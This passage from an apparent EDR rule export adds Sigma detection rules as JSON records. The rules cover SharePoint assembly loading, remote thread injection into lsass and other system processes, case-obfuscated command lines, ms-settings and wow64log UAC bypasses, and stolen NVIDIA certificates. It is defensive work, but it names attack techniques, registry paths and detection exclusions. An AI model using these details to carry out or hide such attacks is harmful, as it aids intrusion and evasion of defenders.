+  ],
+  "name": "t1620_suspicious_dotnet_sharepoint.yml",
+  "content": "title: Suspicious Dotnet Assembly Loaded by Sharepoint Server\nid: 8ea99f0f-186c-4987-97e7-36e73dd41eea\ndescription: |\n    Detects the loading suspicious a Dotnet library by Sharepoint Server.\n    Attackers may dynamically load assemblies in Sharepoint to stealthily execute further actions.\n    It is recommended to investigate the IIS processes near and after the load for suspicious behavior.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2025/07/25\nmodified: 2025/08/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1620\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection_assembly:\n        AssemblyFlags: '0x0'\n        FullyQualifiedAssemblyName|contains:\n            - 'Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'\n            - 'Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'\n        ProcessName: 'w3wp.exe'\n\n    selection_app_sharepoint:\n        - ProcessCommandLine|contains: 'sharepoint'\n          ProcessName: 'w3wp.exe'\n        - ProcessParentCommandLine|contains: 'sharepoint'\n          ProcessParentName: 'w3wp.exe'\n        - ProcessGrandparentCommandLine|contains: 'sharepoint'\n          ProcessGrandparentName: 'w3wp.exe'\n\n    filter_path:\n      ModuleILPath|contains: ':\\'\n\n    exclusion_unknown:\n      FullyQualifiedAssemblyName: '????????, Version=?.0.0.0, Culture=neutral, PublicKeyToken=null'\n\n    exclusion_xoml:\n      FullyQualifiedAssemblyName: 'Xoml.*, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8ea99f0f-186c-4987-97e7-36e73dd41eea",
+  "rule_name": "Suspicious Dotnet Assembly Loaded by Sharepoint Server",
+  "rule_description": "Detects the loading suspicious a Dotnet library by Sharepoint Server.\nAttackers may dynamically load assemblies in Sharepoint to stealthily execute further actions.\nIt is recommended to investigate the IIS processes near and after the load for suspicious behavior.\n",
+  "rule_creation_date": "2025-07-25",
+  "rule_modified_date": "2025-08-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f01bb75-5129-4ec1-bf05-a350afd2e6f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628562Z",
+  "creation_date": "2026-03-23T11:45:34.628564Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628568Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_suspicious_remote_thread_sensitive_process.yml",
+  "content": "title: Suspicious Remote Thread Created in Sensitive Process\nid: 8f01bb75-5129-4ec1-bf05-a350afd2e6f3\ndescription: |\n    Detects suspicious remote threads that are not mapped to a legitimate DLL/executable created in sensitive processes.\n    Adversaries may inject malicious code in another processes to steal sensitive information, evade defenses, elevate privileges or perform malicious activity within a legitimate process.\n    It is recommended to investigate the process injecting the thread and the injected process for suspicious activity such as uncommon network connections or child processes.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2023/12/11\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection:\n        TargetImage|endswith:\n            - '\\lsass.exe'\n            - '\\winlogon.exe'\n            - '\\trustedinstaller.exe'\n            - '\\wininit.exe'\n            - '\\services.exe'\n            - '\\smss.exe'\n            - '\\csrss.exe'\n\n    filter_module:\n        StartModule|contains:\n            - '.dll'\n            - '.exe'\n            - '.com'\n\n    exclusion_security_product:\n        SourceImage:\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\appprotection.exe'\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\entryprotect.exe'\n            - '?:\\Program Files (x86)\\Citrix\\Online Plugin\\ICA Client\\appprotection.exe'\n            - '?:\\Program Files (x86)\\Citrix\\Online Plugin\\ICA Client\\entryprotect.exe'\n            - '?:\\Program Files (x86)\\Panda Security\\WAC\\PSNMVInj.dll'\n            - '?:\\Program Files (x86)\\Panda Security\\WAC\\PSNAEInj64.dll'\n            - '?:\\Program Files (x86)\\Panda Security\\WAC\\helper_64.exe'\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\Receiver\\appprotection.exe'\n            - '?:\\Program Files (x86)\\F-Secure\\Client Security\\Ultralight\\ulcore\\\\*\\fsulprothoster.exe'\n            - '?:\\Program Files (x86)\\F-Secure\\Server Security\\Ultralight\\ulcore\\\\*\\fsulprothoster.exe'\n            - '?:\\Program Files (x86)\\F-Secure\\PSB\\Ultralight\\ulcore\\\\*\\fsulprothoster.exe'\n            - '?:\\Program Files (x86)\\0patch\\Agent\\0patchServicex64.exe'\n            - '?:\\Program Files\\Cisco\\AMP\\\\*\\sfc.exe'\n\n    exclusion_wmiprvse:\n        SourceImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    exclusion_logmein:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'LogMeIn, Inc.'\n            - 'GoTo Technologies USA, LLC'\n\n    exclusion_fsecure:\n        ProcessProcessName:\n            - 'fshoster64.exe'\n            - 'FSHDLL64.EXE'\n            - 'fshoster32.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'WithSecure Oyj'\n            - 'F-Secure Corporation'\n\n    exclusion_windhawk:\n        - ProcessProcessName: 'windhawk.exe'\n          ProcessSigned: 'true'\n          ProcessSignature:\n            - 'Michael Maltsev'\n            - 'Open Source Developer, Michael Maltsev'\n        - ProcessImage: '?:\\Program Files\\Windhawk\\windhawk.exe'\n          ProcessCompany: 'Ramen Software'\n          TargetImage: '?:\\Windows\\servicing\\TrustedInstaller.exe'\n\n    exclusion_netsupport:\n        ProcessImage: '?:\\Program Files\\NetSupport\\NetSupport Manager\\client32.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NetSupport Ltd'\n\n    exclusion_artistscope:\n        ProcessImage: '?:\\Program Files\\Common Files\\ArtistScope\\CSHelper64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ArtistScope Pty Ltd'\n\n    exclusion_mcafee:\n        ProcessImage:\n            - '?:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe'\n            - '?:\\Program Files\\McAfee\\Host Intrusion Prevention\\FireSvc.exe'\n            - '*\\McAfee\\Endpoint Security\\Threat Prevention\\mfetp.exe'\n            - '?:\\ProgramData\\McAfee\\Agent\\\\*\\mfeepmpk_utility.exe'\n            - '?:\\ProgramData\\McAfeeTmpInstall_Threat Prevention\\mfeepmpk_utility.exe'\n            - '?:\\ProgramData\\McAfeeTmpInstall_Common\\mfeepmpk_utility.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'McAfee, Inc.'\n            - 'Musarubra US LLC'\n\n    exclusion_warsaw:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Topaz OFD\\Warsaw\\core.exe'\n            - '?:\\Program Files\\Topaz OFD\\Warsaw\\core.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'TPZ SOLUCOES DIGITAIS LTDA'\n\n    exclusion_btpass:\n        ProcessImage: '?:\\Windows\\BTPass\\x64\\BTPassSvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'QUEST SOFTWARE INC.'\n            - 'QUEST SOFTWARE, INC.'\n\n    exclusion_panda:\n        ProcessImage: '?:\\Program Files (x86)\\Panda Security\\WAC\\helper_64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Panda Security, S.L.U'\n\n    exclusion_ivanti:\n        ProcessImage: '?:\\Program Files\\Ivanti\\Ivanti Cloud Agent\\UWM_AC_ENGINE.WIN64\\AMAgentAssist.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ivanti, Inc.'\n\n    exclusion_netop:\n        ProcessImage: '?:\\Program Files (x86)\\Netop\\Netop Remote Control\\Host\\NHOSTSVC.EXE'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NETOP BUSINESS SOLUTIONS A/S'\n\n    exclusion_roblox:\n        ProcessImage|endswith: '\\RobloxPlayerBeta.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Roblox Corporation'\n\n    exclusion_radmin:\n        ProcessImage|endswith: '\\rserver3.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Famatech International Corp.'\n        TargetImage: '?:\\Windows\\System32\\winlogon.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f01bb75-5129-4ec1-bf05-a350afd2e6f3",
+  "rule_name": "Suspicious Remote Thread Created in Sensitive Process",
+  "rule_description": "Detects suspicious remote threads that are not mapped to a legitimate DLL/executable created in sensitive processes.\nAdversaries may inject malicious code in another processes to steal sensitive information, evade defenses, elevate privileges or perform malicious activity within a legitimate process.\nIt is recommended to investigate the process injecting the thread and the injected process for suspicious activity such as uncommon network connections or child processes.\n",
+  "rule_creation_date": "2023-12-11",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f0ba3e3-bdb8-4dfa-bdab-69e77fd82f98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069841Z",
+  "creation_date": "2026-03-23T11:45:34.069844Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069848Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.logpoint.com/en/blog/emerging-threats/hiding-in-plain-sight-the-subtle-art-of-loki-malwares-obfuscation/",
+    "https://attack.mitre.org/techniques/T1027/010/"
+  ],
+  "name": "t1027_010_commandline_obf_uppercase.yml",
+  "content": "title: Suspicious Obfuscated Command-line using Uppercase and Lowercase Characters\nid: 8f0ba3e3-bdb8-4dfa-bdab-69e77fd82f98\ndescription: |\n    Detects the possible obfuscation of a process command-line using alternating lower and uppercase letters.\n    Attackers often try to evade defenses by changing the case of letters composing their command-line, supposing that security solutions use case senstive patterns.\n    It is recommended to analyze the detected process and look for malicious behavior or content.\nreferences:\n    - https://www.logpoint.com/en/blog/emerging-threats/hiding-in-plain-sight-the-subtle-art-of-loki-malwares-obfuscation/\n    - https://attack.mitre.org/techniques/T1027/010/\ndate: 2024/01/12\nmodified: 2025/07/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1027.010\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Obfuscation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # Case insensitive filter\n    selection_powershell:\n        OriginalFileName: 'powershell.exe'\n        CommandLine|contains: 'powershell'\n    # Filter out known occurences\n    filter_powershell:\n        CommandLine|re:\n            - 'PowerShell'\n            - 'powershell'\n            - 'Powershell'\n            - 'powerShell'\n            - 'POWERSHELL'\n\n    selection_encodedcommand:\n        OriginalFileName: 'powershell.exe'\n        CommandLine|contains: '-encodedcommand'\n    filter_encodedcommand:\n        CommandLine|re:\n            - '-EncodedCommand'\n            - '-encodedCommand'\n            - '-encodedcommand'\n\n    selection_cmd:\n        OriginalFileName: 'cmd.exe'\n        CommandLine|contains: 'cmd.exe'\n    filter_cmd:\n        CommandLine|re:\n            - 'Cmd\\.exe'\n            - 'Cmd\\.EXE'\n            - 'cmd\\.EXE'\n            - 'cmd\\.exe'\n            - 'cmd\\.Exe'\n            - 'CMD\\.EXE'\n            - 'CMD\\.exe'\n            - 'Cmd\\.Exe'\n\n    selection_wscript:\n        OriginalFileName: 'wscript.exe'\n        CommandLine|contains: 'wscript'\n    filter_wscript:\n        CommandLine|re:\n            - 'WScript'\n            - 'Wscript'\n            - 'wscript'\n            - 'WSCRIPT'\n\n    selection_ping:\n        # cmd /c XXX && ping XXX\n        OriginalFileName: 'cmd.exe'\n        CommandLine|contains: 'ping '\n    filter_ping:\n        CommandLine|re:\n            - 'ping '\n            - 'PING '\n            - 'Ping '\n\n    selection_rundll32:\n        # cmd /c XXX && RuNDll32 XXX\n        OriginalFileName: 'cmd.exe'\n        CommandLine|contains: 'rundll32'\n    filter_rundll32:\n        CommandLine|re:\n            - 'RUNDLL32'\n            - 'rundll32'\n            - 'RunDll32'\n            - 'RunDLL32'\n            - 'runDLL32'\n            - 'Rundll32'\n\n    selection_echo:\n        # cmd /c XXX && echo XXX\n        OriginalFileName: 'cmd.exe'\n        CommandLine|contains: 'echo '\n    filter_echo:\n        CommandLine|re:\n            - 'echo'\n            - 'ECHO'\n            - 'Echo'\n\n    condition: (selection_powershell and not filter_powershell) or\n               (selection_encodedcommand and not filter_encodedcommand) or\n               (selection_cmd and not filter_cmd) or\n               (selection_wscript and not filter_wscript) or\n               (selection_ping and not filter_ping) or\n               (selection_rundll32 and not filter_rundll32) or\n               (selection_echo and not filter_echo)\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f0ba3e3-bdb8-4dfa-bdab-69e77fd82f98",
+  "rule_name": "Suspicious Obfuscated Command-line using Uppercase and Lowercase Characters",
+  "rule_description": "Detects the possible obfuscation of a process command-line using alternating lower and uppercase letters.\nAttackers often try to evade defenses by changing the case of letters composing their command-line, supposing that security solutions use case senstive patterns.\nIt is recommended to analyze the detected process and look for malicious behavior or content.\n",
+  "rule_creation_date": "2024-01-12",
+  "rule_modified_date": "2025-07-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.010"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f127aec-f4a0-4c97-b4be-a82c64718b3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092401Z",
+  "creation_date": "2026-03-23T11:45:34.092403Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092408Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_ms_settings_user_command.yml",
+  "content": "title: Ms-settings UAC Bypass Prepared\nid: 8f127aec-f4a0-4c97-b4be-a82c64718b3b\ndescription: |\n    Detects the preparation of the ms-settings UAC bypass, involving the setting of multiple registry keys.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\nreferences:\n    - https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/09/10\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.t1112\n    - attack.t1546.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set_value:\n        EventType: 'SetValue'\n        TargetObject:\n            - 'HKU\\\\*\\ms-settings\\shell\\open\\command\\(Default)'\n            - 'HKU\\\\*\\ms-settings\\\\*SymbolicLinkValue'\n            - 'HKU\\\\*\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\ms-settings\\UserChoice\\ProgId'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    selection_rename:\n        EventType: 'RenameValue'\n        NewName: 'HKU\\\\*_Classes\\ms-settings\\\\*'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: (selection_set_value and not filter_empty) or selection_rename and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f127aec-f4a0-4c97-b4be-a82c64718b3b",
+  "rule_name": "Ms-settings UAC Bypass Prepared",
+  "rule_description": "Detects the preparation of the ms-settings UAC bypass, involving the setting of multiple registry keys.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-09-10",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.001",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f2672a6-33bf-4bf6-a57e-c7b8960c8907",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078448Z",
+  "creation_date": "2026-03-23T11:45:34.078450Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078455Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.malwarebytes.com/awareness/2022/03/stolen-nvidia-certificates-used-to-sign-malware-heres-what-to-do/",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_nvidia_stolen_cert_process_execution.yml",
+  "content": "title: Process Executed Signed with NVIDIA Stolen Certificate\nid: 8f2672a6-33bf-4bf6-a57e-c7b8960c8907\ndescription: |\n    Detects the execution of a process using one of NVIDIA's stolen certificates.\n    This can be the sign of a malware using a fake signature to evade AV/EDR detection.\n    It is recommended to investigate the binary to determine its legitimacy, for instance by determining whether this file may be part of a legitimate but legacy NVIDIA component.œ\nreferences:\n    - https://blog.malwarebytes.com/awareness/2022/03/stolen-nvidia-certificates-used-to-sign-malware-heres-what-to-do/\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2022/07/12\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.StolenCertificate\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_cert_1:\n        ProcessSignatureSignerThumbprint: '579aec4489a2ca8a2a09df5dc0323634bd8b16b7'\n\n    selection_timestamp_filter_cert_1:\n        ProcessPETimestampStr|startswith:\n            - '2011-'\n            - '2012-'\n            - '2013-'\n            - '2014-01'\n            - '2014-02'\n            - '2014-03'\n            - '2014-04'\n            - '2014-05'\n            - '2014-06'\n            - '2014-07'\n            - '2014-08'\n\n    selection_cert_2:\n        ProcessSignatureSignerThumbprint: '30632ea310114105969d0bda28fdce267104754f'\n\n    selection_timestamp_filter_cert_2:\n        ProcessPETimestampStr|startswith:\n            - '2015-07'\n            - '2015-08'\n            - '2015-09'\n            - '2015-10'\n            - '2015-11'\n            - '2015-12'\n            - '2016-'\n            - '2017-'\n            - '2018-01'\n            - '2018-02'\n            - '2018-03'\n            - '2018-04'\n            - '2018-05'\n            - '2018-06'\n            - '2018-07'\n\n    filter_copyright:\n        ProcessLegalCopyright|contains:\n            - 'NVIDIA'\n            - 'Galasoft'\n\n    filter_path:\n        Image:\n            - '?:\\Windows\\System32\\nvwmi64.exe'\n            # C:\\Program Files (x86)\\NVIDIA Corporation\\NvNode\\NVIDIA Web Helper.exe\n            - '?:\\Program Files (x86)\\NVIDIA Corporation\\NvNode\\\\*'\n\n    condition: ((selection_cert_1 and not selection_timestamp_filter_cert_1) or (selection_cert_2 and not selection_timestamp_filter_cert_2)) and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f2672a6-33bf-4bf6-a57e-c7b8960c8907",
+  "rule_name": "Process Executed Signed with NVIDIA Stolen Certificate",
+  "rule_description": "Detects the execution of a process using one of NVIDIA's stolen certificates.\nThis can be the sign of a malware using a fake signature to evade AV/EDR detection.\nIt is recommended to investigate the binary to determine its legitimacy, for instance by determining whether this file may be part of a legitimate but legacy NVIDIA component.œ\n",
+  "rule_creation_date": "2022-07-12",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f283fa9-b41e-4246-bfc9-b4489a85db7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093640Z",
+  "creation_date": "2026-03-23T11:45:34.093642Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093646Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_wow64log.yml",
+  "content": "title: UAC Bypass Executed via wow64log.dll Hijacking\nid: 8f283fa9-b41e-4246-bfc9-b4489a85db7d\ndescription: |\n    Detects the execution of the wow64log.dll UAC bypass, involving the hijacking of the DLL by a SysWoW64 application.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the creation of the DLL as well as the DLL itself look for malicious content or actions.\nreferences:\n    - https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/09/11\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|startswith: '?:\\Windows\\SysWOW64\\'\n        ImageLoaded: '?:\\Windows\\System32\\wow64log.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f283fa9-b41e-4246-bfc9-b4489a85db7d",
+  "rule_name": "UAC Bypass Executed via wow64log.dll Hijacking",
+  "rule_description": "Detects the execution of the wow64log.dll UAC bypass, involving the hijacking of the DLL by a SysWoW64 application.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the creation of the DLL as well as the DLL itself look for malicious content or actions.\n",
+  "rule_creation_date": "2020-09-11",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f319367-4b99-4eab-be5b-1cd8295d577a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
